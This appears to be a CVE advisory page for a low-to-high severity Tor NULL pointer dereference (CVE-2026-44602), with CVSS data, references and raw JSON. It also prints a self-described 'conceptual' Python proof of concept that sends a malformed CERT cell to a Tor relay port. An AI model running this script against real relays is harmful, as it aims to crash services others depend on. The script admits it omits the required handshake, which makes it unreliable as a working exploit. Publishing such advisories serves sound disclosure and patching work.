Security Vulnerability Report
中文
CVE-2026-44602 CVSS 3.7 LOW

CVE-2026-44602

Published: 2026-05-07 04:16:35
Last Modified: 2026-05-08 17:06:51

Description

Tor before 0.4.9.7 has a NULL pointer dereference when a CERT cell is received out of order, aka TROVE-2026-006.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:torproject:tor:*:*:*:*:*:*:*:* - VULNERABLE
Tor < 0.4.9.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # This is a conceptual PoC. Actual Tor cell construction requires specific protocol knowledge. # CVE-2026-44602: Tor NULL Pointer Dereference via Out-of-order CERT Cell def send_tor_cell(target_ip, target_port): try: # Establish TCP connection to Tor OR port s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # In a real exploit, you would need to perform the version negotiation/relay handshake first. # Then send a CERT cell (Circuit ID + Cell Type) in an unexpected order. # Concept: Sending a malformed CERT cell payload # Cell type for CERT is typically 129 (0x81) # This payload attempts to trigger the logic flaw by sending data that forces a NULL read. circuit_id = 0 cell_type = 129 # CERT cell payload = b"\x00" * 509 # Payload length 509 bytes # Construct the cell header (simplified) # Tor uses a specific link protocol versioning, this is a generic representation cell_header = struct.pack("!H", circuit_id) + struct.pack("!B", cell_type) print(f"[*] Sending out-of-order CERT cell to {target_ip}:{target_port}") s.send(cell_header + payload) response = s.recv(1024) print(f"[+] Received response (if any): {response}") except Exception as e: print(f"[-] Error: {e}") finally: s.close() # Usage # send_tor_cell("192.168.1.100", 9001)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44602", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:35.223", "lastModified": "2026-05-08T17:06:51.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tor before 0.4.9.7 has a NULL pointer dereference when a CERT cell is received out of order, aka TROVE-2026-006."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:torproject:tor:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.4.9.7", "matchCriteriaId": "E643A817-85FE-4CEC-BC69-0E2FA22639C0"}]}]}], "references": [{"url": "https://forum.torproject.org/c/news/tor-release-announcement/28", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://gitlab.torproject.org/tpo/core/tor/-/commit/df7d5174ef41814d806c8ede776e230cd30ac12b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://gitlab.torproject.org/tpo/core/tor/-/work_items/41240", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/05/06/8", "source": "[email protected]", "tags": ["Mailing List", "Release Notes"]}]}}